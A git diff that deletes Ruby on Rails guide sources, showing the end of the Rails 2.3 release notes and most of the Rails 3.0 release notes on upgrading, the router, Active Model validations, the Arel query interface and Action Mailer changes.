-A few pieces of older code are deprecated in this release:
-
-* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the "irs_process_scripts":http://github.com/rails/irs_process_scripts/tree plugin.
-* +render_component+ goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the "render_component plugin":http://github.com/rails/render_component/tree/master.
-* Support for Rails components has been removed.
-* If you were one of the people who got used to running +script/performance/request+ to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
-* +ActionController::Base#session_enabled?+ is deprecated because sessions are lazy-loaded now.
-* The +:digest+ and +:secret+ options to +protect_from_forgery+ are deprecated and have no effect.
-* Some integration test helpers have been removed. +response.headers["Status"]+ and +headers["Status"]+ will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the +status+ and +status_message+ helpers. +response.headers["cookie"]+ and +headers["cookie"]+ will no longer return any CGI cookies. You can inspect +headers["Set-Cookie"]+ to see the raw cookie header or use the +cookies+ helper to get a hash of the cookies sent to the client.
-* +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead.
-* The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+.
-* The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options.
-* Posting a multipart form with an empty +file_field+ control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
-
-h3. Credits
-
-Release notes compiled by "Mike Gunderloy":http://afreshcup.com. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/railties/guides/source/3_0_release_notes.textile b/railties/guides/source/3_0_release_notes.textile
deleted file mode 100644
index d22c76dd81..0000000000
--- a/railties/guides/source/3_0_release_notes.textile
+++ /dev/null
@@ -1,595 +0,0 @@
-h2. Ruby on Rails 3.0 Release Notes
-
-Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done!
-
-But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too.
-
-Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are:
-
-* Brand new router with an emphasis on RESTful declarations
-* New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!)
-* New Active Record chainable query language built on top of relational algebra
-* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS)
-* Explicit dependency management with Bundler
-
-On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.
-
-These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
-
-endprologue.
-
-To install Rails 3:
-
-<shell>
-# Use sudo if your setup requires it
-$ gem install rails
-</shell>
-
-
-h3. Upgrading to Rails 3
-
-If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:
-
-h4. Rails 3 requires at least Ruby 1.8.7
-
-Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.
-
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.
-
-h4. Rails Application object
-
-As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to +config/environment.rb+ from the previous versions of Rails.
-
-Each Rails application now must have a corresponding application object. The application object is defined in +config/application.rb+. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from +config/environment.rb+ to +config/application.rb+.
-
-h4. script/* replaced by script/rails
-
-The new <tt>script/rails</tt> replaces all the scripts that used to be in the <tt>script</tt> directory. You do not run <tt>script/rails</tt> directly though, the +rails+ command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:
-
-<shell>
-$ rails console # instead of script/console
-$ rails g scaffold post title:string # instead of script/generate scaffold post title:string
-</shell>
-
-Run <tt>rails --help</tt> for a list of all the options.
-
-h4. Dependencies and config.gem
-
-The +config.gem+ method is gone and has been replaced by using +bundler+ and a +Gemfile+, see "Vendoring Gems":#vendoring-gems below.
-
-h4. Upgrade Process
-
-To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/rails/rails_upgrade has been created to automate part of it.
-
-Simply install the plugin, then run +rake rails:upgrade:check+ to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a +Gemfile+ based on your current +config.gem+ calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:
-
-<shell>
-$ ruby script/plugin install git://github.com/rails/rails_upgrade.git
-</shell>
-
-You can see an example of how that works at "Rails Upgrade is now an Official Plugin":http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin
-
-Aside from Rails Upgrade tool, if you need more help, there are people on IRC and "rubyonrails-talk":http://groups.google.com/group/rubyonrails-talk that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!
-
-More information - "The Path to Rails 3: Approaching the upgrade":http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade
-
-h3. Creating a Rails 3.0 application
-
-<shell>
-# You should have the 'rails' rubygem installed
-$ rails new myapp
-$ cd myapp
-</shell>
-
-h4. Vendoring Gems
-
-Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":http://github.com/carlhuda/bundler, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
-
-More information: - "bundler homepage":http://gembundler.com
-
-h4. Living on the Edge
-
-+Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated <tt>bundle</tt> command, so <tt>rake freeze</tt> is no longer relevant and has been dropped.
-
-If you want to bundle straight from the Git repository, you can pass the +--edge+ flag:
-
-<shell>
-$ rails new myapp --edge
-</shell>
-
-If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag:
-
-<shell>
-$ ruby /path/to/rails/bin/rails new myapp --dev
-</shell>
-
-h3. Rails Architectural Changes
-
-There are six major changes in the architecture of Rails.
-
-h4. Railties Restrung
-
-Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.
-
-h4. All Rails core components are decoupled
-
-With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.
-
-More information: - "The Great Decoupling":http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/
-
-
-h4. Active Model Abstraction
-
-Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
-
-More information: - "Make Any Ruby Object Feel Like ActiveRecord":http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/
-
-
-h4. Controller Abstraction
-
-Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of +AbstractController+ allowed +ActionController+ and +ActionMailer+ to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.
-
-More Information: - "Rails Edge Architecture":http://yehudakatz.com/2009/06/11/rails-edge-architecture/
-
-
-h4. Arel Integration
-
-"Arel":http://github.com/brynary/arel (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.
-
-More information: - "Why I wrote Arel":http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/.
-
-
-h4. Mail Extraction
-
-Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the "Mail":http://github.com/mikel/mail gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.
-
-More information: - "New Action Mailer API in Rails 3":http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3
-
-
-h3. Documentation
-
-The documentation in the Rails tree is being updated with all the API changes, additionally, the "Rails Edge Guides":http://edgeguides.rubyonrails.org/ are being updated one by one to reflect the changes in Rails 3.0. The guides at "guides.rubyonrails.org":http://guides.rubyonrails.org/ however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).
-
-More Information: - "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.
-
-
-h3. Internationalization
-
-A large amount of work has been done with I18n support in Rails 3, including the latest "I18n":http://github.com/svenfuchs/i18n gem supplying many speed improvements.
-
-* I18n for any object - I18n behavior can be added to any object by including <tt>ActiveModel::Translation</tt> and <tt>ActiveModel::Validations</tt>. There is also an <tt>errors.messages</tt> fallback for translations.
-* Attributes can have default translations.
-* Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.
-* Labels with I18n also now work by just passing the attribute name.
-
-More Information: - "Rails 3 I18n changes":http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/
-
-
-h3. Railties
-
-With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:
-
-* Each application now has its own name space, application is started with <tt>YourAppName.boot</tt> for example, makes interacting with other applications a lot easier.
-* Anything under <tt>Rails.root/app</tt> is now added to the load path, so you can make <tt>app/observers/user_observer.rb</tt> and Rails will load it without any modifications.
-* Rails 3.0 now provides a <tt>Rails.config</tt> object, which provides a central repository of all sorts of Rails wide configuration options.
-
-Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new <tt>--dev</tt> flag has been added which sets the application up with the +Gemfile+ pointing to your Rails checkout (which is determined by the path to the +rails+ binary). See <tt>rails --help</tt> for more info.
-
-Railties generators got a huge amount of attention in Rails 3.0, basically:
-
-* Generators were completely rewritten and are backwards incompatible.
-* Rails templates API and generators API were merged (they are the same as the former).
-* Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling <tt>rails generate foo</tt> will look for <tt>generators/foo_generator</tt>.
-* New generators provide hooks, so any template engine, ORM, test framework can easily hook in.
-* New generators allow you to override the templates by placing a copy at <tt>Rails.root/lib/templates</tt>.
-* <tt>Rails::Generators::TestCase</tt> is also supplied so you can create your own generators and test them.
-
-Also, the views generated by Railties generators had some overhaul:
-
-* Views now use +div+ tags instead of +p+ tags.
-* Scaffolds generated now make use of <tt>_form</tt> partials, instead of duplicated code in the edit and new views.
-* Scaffold forms now use <tt>f.submit</tt> which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.
-
-Finally a couple of enhancements were added to the rake tasks:
-
-* <tt>rake db:forward</tt> was added, allowing you to roll forward your migrations individually or in groups.
-* <tt>rake routes CONTROLLER=x</tt> was added allowing you to just view the routes for one controller.
-
-Railties now deprecates:
-
-* <tt>RAILS_ROOT</tt> in favor of <tt>Rails.root</tt>,
-* <tt>RAILS_ENV</tt> in favor of <tt>Rails.env</tt>, and
-* <tt>RAILS_DEFAULT_LOGGER</tt> in favor of <tt>Rails.logger</tt>.
-
-<tt>PLUGIN/rails/tasks</tt>, and <tt>PLUGIN/tasks</tt> are no longer loaded all tasks now must be in <tt>PLUGIN/lib/tasks</tt>.
-
-More information:
-* "Discovering Rails 3 generators":http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators
-* "Making Generators for Rails 3 with Thor":http://caffeinedd.com/guides/331-making-generators-for-rails-3-with-thor
-* "The Rails Module (in Rails 3)":http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/
-
-h3. Action Pack
-
-There have been significant internal and external changes in Action Pack.
-
-
-h4. Abstract Controller
-
-Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed <tt>ActionMailer::Base</tt> to now just inherit from +AbstractController+ and just wrap the Rails DSL onto the Mail gem.
-
-It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.
-
-Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.
-
-More Information: - "Rails Edge Architecture":http://yehudakatz.com/2009/06/11/rails-edge-architecture/
-
-
-h4. Action Controller
-
-* <tt>application_controller.rb</tt> now has <tt>protect_from_forgery</tt> on by default.
-* The <tt>cookie_verifier_secret</tt> has been deprecated and now instead it is assigned through <tt>Rails.application.config.cookie_secret</tt> and moved into its own file: <tt>config/initializers/cookie_verification_secret.rb</tt>.
-* The <tt>session_store</tt> was configured in <tt>ActionController::Base.session</tt>, and that is now moved to <tt>Rails.application.config.session_store</tt>. Defaults are set up in <tt>config/initializers/session_store.rb</tt>.
-* <tt>cookies.secure</tt> allowing you to set encrypted values in cookies with <tt>cookie.secure[:key] => value</tt>.
-* <tt>cookies.permanent</tt> allowing you to set permanent values in the cookie hash <tt>cookie.permanent[:key] => value</tt> that raise exceptions on signed values if verification failures.
-* You can now pass <tt>:notice => 'This is a flash message'</tt> or <tt>:alert => 'Something went wrong'</tt> to the <tt>format</tt> call inside a +respond_to+ block. The <tt>flash[]</tt> hash still works as previously.
-* <tt>respond_with</tt> method has now been added to your controllers simplifying the venerable +format+ blocks.
-* <tt>ActionController::Responder</tt> added allowing you flexibility in how your responses get generated.
-
-Deprecations:
-
-* <tt>filter_parameter_logging</tt> is deprecated in favor of <tt>config.filter_parameters << :password</tt>.
-
-More Information:
-* "Render Options in Rails 3":http://www.engineyard.com/blog/2010/render-options-in-rails-3/
-* "Three reasons to love ActionController::Responder":http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder
-
-
-h4. Action Dispatch
-
-Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.
-
-* Big clean up and re-write of the router, the Rails router is now +rack_mount+ with a Rails DSL on top, it is a stand alone piece of software.
-* Routes defined by each application are now name spaced within your Application module, that is:
-
-<ruby>
-# Instead of:
-
-ActionController::Routing::Routes.draw do |map|
- map.resources :posts
-end
-
-# You do:
-
-AppName::Application.routes do
- resources :posts
-end
-</ruby>
-
-* Added +match+ method to the router, you can also pass any Rack application to the matched route.
-* Added +constraints+ method to the router, allowing you to guard routers with defined constraints.
-* Added +scope+ method to the router, allowing you to namespace routes for different languages or different actions, for example:
-
-<ruby>
-scope 'es' do
- resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
-end
-
-# Gives you the edit action with /es/proyecto/1/cambiar
-</ruby>
-
-* Added +root+ method to the router as a short cut for <tt>match '/', :to => path</tt>.
-* You can pass optional segments into the match, for example <tt>match "/:controller(/:action(/:id))(.:format)"</tt>, each parenthesized segment is optional.
-* Routes can be expressed via blocks, for example you can call <tt>controller :home { match '/:action' }</tt>.
-
-NOTE. The old style <tt>map</tt> commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.
-
-Deprecations
-
-* The catch all route for non-REST applications (<tt>/:controller/:action/:id</tt>) is now commented out.
-* Routes :path_prefix no longer exists and :name_prefix now automatically adds "_" at the end of the given value.
-
-More Information:
-* "The Rails 3 Router: Rack it Up":http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/
-* "Revamped Routes in Rails 3":http://rizwanreza.com/2009/12/20/revamped-routes-in-rails-3
-* "Generic Actions in Rails 3":http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/
-
-
-h4. Action View
-
-h5. Unobtrusive JavaScript
-
-Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.
-
-What this means is that all previous <tt>remote_&lt;method&gt;</tt> helpers have been removed from Rails core and put into the "Prototype Legacy Helper":http://github.com/rails/prototype_legacy_helper. To get UJS hooks into your HTML, you now pass <tt>:remote => true</tt> instead. For example:
-
-<ruby>
-form_for @post, :remote => true
-</ruby>
-
-Produces:
-
-<html>
-<form action="http://host.com" id="create-post" method="post" data-remote="true">
-</html>
-
-h5. Helpers with Blocks
-
-Helpers like +form_for+ or +div_for+ that insert content from a block use +&lt;%=+ now:
-
-<erb>
-<%= form_for @post do |f| %>
- ...
-<% end %>
-</erb>
-
-Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.
-
-Helpers that do something else, like +cache+ or +content_for+, are not affected by this change, they need +&lt;%+ as before.
-
-h5. Other Changes
-
-* You no longer need to call <tt>h(string)</tt> to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call <tt>raw(string)</tt>.
-* Helpers now output HTML 5 by default.
-* Form label helper now pulls values from I18n with a single value, so <tt>f.label :name</tt> will pull the <tt>:name</tt> translation.
-* I18n select label on should now be :en.helpers.select instead of :en.support.select.
-* You no longer need to place a minus sign at the end of a ruby interpolation inside an ERb template to remove the trailing carriage return in the HTML output.
-* Added +grouped_collection_select+ helper to Action View.
-* +content_for?+ has been added allowing you to check for the existence of content in a view before rendering.
-* passing +:value => nil+ to form helpers will set the field's +value+ attribute to nil as opposed to using the default value
-* passing +:id => nil+ to form helpers will cause those fields to be rendered with no +id+ attribute
-* passing +:alt => nil+ to +image_tag+ will cause the +img+ tag to render with no +alt+ attribute
-
-h3. Active Model
-
-Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.
-
-
-h4. ORM Abstraction and Action Pack Interface
-
-Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
-
-More Information: - "Make Any Ruby Object Feel Like ActiveRecord":http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/
-
-
-h4. Validations
-
-Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.
-
-* There is now a <tt>validates :attribute, options_hash</tt> shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.
-* The +validates+ method has the following options:
-** <tt>:acceptance => Boolean</tt>.
-** <tt>:confirmation => Boolean</tt>.
-** <tt>:exclusion => { :in => Enumerable }</tt>.
-** <tt>:inclusion => { :in => Enumerable }</tt>.
-** <tt>:format => { :with => Regexp, :on => :create }</tt>.
-** <tt>:length => { :maximum => Fixnum }</tt>.
-** <tt>:numericality => Boolean</tt>.
-** <tt>:presence => Boolean</tt>.
-** <tt>:uniqueness => Boolean</tt>.
-
-NOTE: All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.
-
-You can also pass in a validator object, which you can then reuse between objects that use Active Model:
-
-<ruby>
-class TitleValidator < ActiveModel::EachValidator
- Titles = ['Mr.', 'Mrs.', 'Dr.']
- def validate_each(record, attribute, value)
- unless Titles.include?(value)
- record.errors[attribute] << 'must be a valid title'
- end
- end
-end
-</ruby>
-
-<ruby>
-class Person
- include ActiveModel::Validations
- attr_accessor :title
- validates :title, :presence => true, :title => true
-end
-
-# Or for Active Record
-
-class Person < ActiveRecord::Base
- validates :title, :presence => true, :title => true
-end
-</ruby>
-
-There's also support for introspection:
-
-<ruby>
-User.validators
-User.validators_on(:login)
-</ruby>
-
-More Information:
-* "Sexy Validation in Rails 3":http://thelucid.com/2010/01/08/sexy-validation-in-edge-rails-rails-3/
-* "Rails 3 Validations Explained":http://lindsaar.net/2010/1/31/validates_rails_3_awesome_is_true
-
-
-h3. Active Record
-
-Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.
-
-
-h4. Query Interface
-
-Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:
-
-* <tt>where</tt> - provides conditions on the relation, what gets returned.
-* <tt>select</tt> - choose what attributes of the models you wish to have returned from the database.
-* <tt>group</tt> - groups the relation on the attribute supplied.
-* <tt>having</tt> - provides an expression limiting group relations (GROUP BY constraint).
-* <tt>joins</tt> - joins the relation to another table.
-* <tt>clause</tt> - provides an expression limiting join relations (JOIN constraint).
-* <tt>includes</tt> - includes other relations pre-loaded.
-* <tt>order</tt> - orders the relation based on the expression supplied.
-* <tt>limit</tt> - limits the relation to the number of records specified.
-* <tt>lock</tt> - locks the records returned from the table.
-* <tt>readonly</tt> - returns an read only copy of the data.
-* <tt>from</tt> - provides a way to select relationships from more than one table.
-* <tt>scope</tt> - (previously +named_scope+) return relations and can be chained together with the other relation methods.
-* <tt>with_scope</tt> - and +with_exclusive_scope+ now also return relations and so can be chained.
-* <tt>default_scope</tt> - also works with relations.
-
-More Information:
-* "Active Record Query Interface":http://m.onkey.org/2010/1/22/active-record-query-interface
-* "Let your SQL Growl in Rails 3":http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/
-
-
-h4. Enhancements
-
-* Added <tt>:destroyed?</tt> to Active Record objects.
-* Added <tt>:inverse_of</tt> to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.
-
-
-h4. Patches and Deprecations
-
-Additionally, many fixes in the Active Record branch:
-
-* SQLite 2 support has been dropped in favor of SQLite 3.
-* MySQL support for column order.
-* PostgreSQL adapter has had its +TIME ZONE+ support fixed so it no longer inserts incorrect values.
-* Support multiple schemas in table names for PostgreSQL.
-* PostgreSQL support for the XML data type column.
-* +table_name+ is now cached.
-* A large amount of work done on the Oracle adapter as well with many bug fixes.
-
-As well as the following deprecations:
-
-* +named_scope+ in an Active Record class is deprecated and has been renamed to just +scope+.
-* In +scope+ methods, you should move to using the relation methods, instead of a <tt>:conditions => {}</tt> finder method, for example <tt>scope :since, lambda {|time| where("created_at > ?", time) }</tt>.
-* <tt>save(false)</tt> is deprecated, in favor of <tt>save(:validate => false)</tt>.
-* I18n error messages for ActiveRecord should be changed from :en.activerecord.errors.template to <tt>:en.errors.template</tt>.
-* <tt>model.errors.on</tt> is deprecated in favor of <tt>model.errors[]</tt>
-* validates_presence_of => validates... :presence => true
-* <tt>ActiveRecord::Base.colorize_logging</tt> and <tt>config.active_record.colorize_logging</tt> are deprecated in favor of <tt>Rails::LogSubscriber.colorize_logging</tt> or <tt>config.colorize_logging</tt>
-
-NOTE: While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.
-
-
-h3. Active Resource
-
-Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.
-
-* Added validations through Active Model.
-* Added observing hooks.
-* HTTP proxy support.
-* Added support for digest authentication.
-* Moved model naming into Active Model.
-* Changed Active Resource attributes to a Hash with indifferent access.
-* Added +first+, +last+ and +all+ aliases for equivalent find scopes.
-* <tt>find_every</tt> now does not return a +ResourceNotFound+ error if nothing returned.
-* Added <tt>save!</tt> which raises <tt>ResourceInvalid</tt> unless the object is <tt>valid?</tt>.
-* <tt>update_attribute</tt> and <tt>update_attributes</tt> added to Active Resource models.
-* Added <tt>exists?</tt>.
-* Renamed <tt>SchemaDefinition</tt> to <tt>Schema</tt> and <tt>define_schema</tt> to <tt>schema</tt>.
-* Use the <tt>format</tt> of Active Resources rather than the <tt>content-type</tt> of remote errors to load errors.
-* Use <tt>instance_eval</tt> for schema block.
-* Fix <tt>ActiveResource::ConnectionError#to_s</tt> when +@response+ does not respond to #code or #message, handles Ruby 1.9 compatibility.
-* Add support for errors in JSON format.
-* Ensure <tt>load</tt> works with numeric arrays.
-* Recognizes a 410 response from remote resource as the resource has been deleted.
-* Add ability to set SSL options on Active Resource connections.
-* Setting connection timeout also affects +Net::HTTP+ <tt>open_timeout</tt>.
-
-Deprecations:
-
-* <tt>save(false)</tt> is deprecated, in favor of <tt>save(:validate => false)</tt>.
-* Ruby 1.9.2: <tt>URI.parse</tt> and <tt>.decode</tt> are deprecated and are no longer used in the library.
-
-
-h3. Active Support
-
-A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.
-
-These are the main changes in Active Support:
-
-* Large clean up of the library removing unused methods throughout.
-* Active Support no longer provides vendored versions of "TZInfo":http://tzinfo.rubyforge.org/, "Memcache Client":http://deveiate.org/projects/RMemCache/ and "Builder":http://builder.rubyforge.org/, these are all included as dependencies and installed via the <tt>bundle install</tt> command.
-* Safe buffers are implemented in <tt>ActiveSupport::SafeBuffer</tt>.
-* Added <tt>Array.uniq_by</tt> and <tt>Array.uniq_by!</tt>.
-* Removed <tt>Array#rand</tt> and backported <tt>Array#sample</tt> from Ruby 1.9.
-* Fixed bug on +TimeZone.seconds_to_utc_offset+ returning wrong value.
-* Added <tt>ActiveSupport::Notifications</tt> middleware.
-* <tt>ActiveSupport.use_standard_json_time_format</tt> now defaults to true.
-* <tt>ActiveSupport.escape_html_entities_in_json</tt> now defaults to false.
-* <tt>Integer#multiple_of?</tt> accepts zero as an argument, returns false unless the receiver is zero.
-* +string.chars+ has been renamed to +string.mb_chars+.
-* +ActiveSupport::OrderedHash+ now can de-serialize through YAML.
-* Added SAX-based parser for XmlMini, using LibXML and Nokogiri.
-* Added <tt>Object#presence</tt> that returns the object if it's <tt>#present?</tt> otherwise returns +nil+.
-* Added <tt>String#exclude?</tt> core extension that returns the inverse of <tt>#include?</tt>.
-* Added <tt>to_i</tt> to +DateTime+ in +ActiveSupport+ so <tt>to_yaml</tt> works correctly on models with +DateTime+ attributes.
-* Added <tt>Enumerable#exclude?</tt> to bring parity to <tt>Enumerable#include?</tt> and avoid if <tt>!x.include?</tt>.
-* Switch to on-by-default XSS escaping for rails.
-* Support deep-merging in +ActiveSupport::HashWithIndifferentAccess+.
-* <tt>Enumerable#sum</tt> now works will all enumerables, even if they don't respond to <tt>:size</tt>.
-* <tt>inspect</tt> on a zero length duration returns '0 seconds' instead of empty string.
-* Add <tt>element</tt> and <tt>collection</tt> to <tt>ModelName</tt>.
-* <tt>String#to_time</tt> and <tt>String#to_datetime</tt> handle fractional seconds.
-* Added support to new callbacks for around filter object that respond to <tt>:before</tt> and <tt>:after</tt> used in before and after callbacks.
-* The <tt>ActiveSupport::OrderedHash#to_a</tt> method returns an ordered set of arrays. Matches Ruby 1.9's <tt>Hash#to_a</tt>.
-* <tt>MissingSourceFile</tt> exists as a constant but it is now just equals to <tt>LoadError</tt>.
-* Added <tt>Class#class_attribute</tt>, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.
-* Finally removed +DeprecatedCallbacks+ in <tt>ActiveRecord::Associations</tt>.
-* +Object#metaclass+ is now +Kernel#singleton_class+ to match Ruby.
-
-The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.
-
-* <tt>Integer#even?</tt> and <tt>Integer#odd?</tt>
-* <tt>String#each_char</tt>
-* <tt>String#start_with?</tt> and <tt>String#end_with?</tt> (3rd person aliases still kept)
-* <tt>String#bytesize</tt>
-* <tt>Object#tap</tt>
-* <tt>Symbol#to_proc</tt>
-* <tt>Object#instance_variable_defined?</tt>
-* <tt>Enumerable#none?</tt>
-
-The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.
-
-The following methods have been removed because they are no longer used in the framework:
-
-* +Kernel#daemonize+
-* <tt>Object#remove_subclasses_of</tt> <tt>Object#extend_with_included_modules_from</tt>, <tt>Object#extended_by</tt>
-* <tt>Class#remove_class</tt>
-* <tt>Regexp#number_of_captures</tt>, <tt>Regexp.unoptionalize</tt>, <tt>Regexp.optionalize</tt>, <tt>Regexp#number_of_captures</tt>
-
-
-h3. Action Mailer
-
-Action Mailer has been given a new API with TMail being replaced out with the new "Mail":http://github.com/mikel/mail as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
-
-* All mailers are now in <tt>app/mailers</tt> by default.
-* Can now send email using new API with three methods: +attachments+, +headers+ and +mail+.
-* ActionMailer now has native support for inline attachments using the <tt>attachments.inline</tt> method.
-* Action Mailer emailing methods now return <tt>Mail::Message</tt> objects, which can then be sent the +deliver+ message to send itself.
-* All delivery methods are now abstracted out to the Mail gem.
-* The mail delivery method can accept a hash of all valid mail header fields with their value pair.
-* The +mail+ delivery method acts in a similar way to Action Controller's +respond_to+, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.
-* You can pass a proc to the <tt>format.mime_type</tt> calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The +render+ call inside the proc is from Abstract Controller and supports the same options.
-* What were mailer unit tests have been moved to functional tests.
-* Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem
-* Action Mailer will auto encode email bodies and headers for you
-
-Deprecations:
-
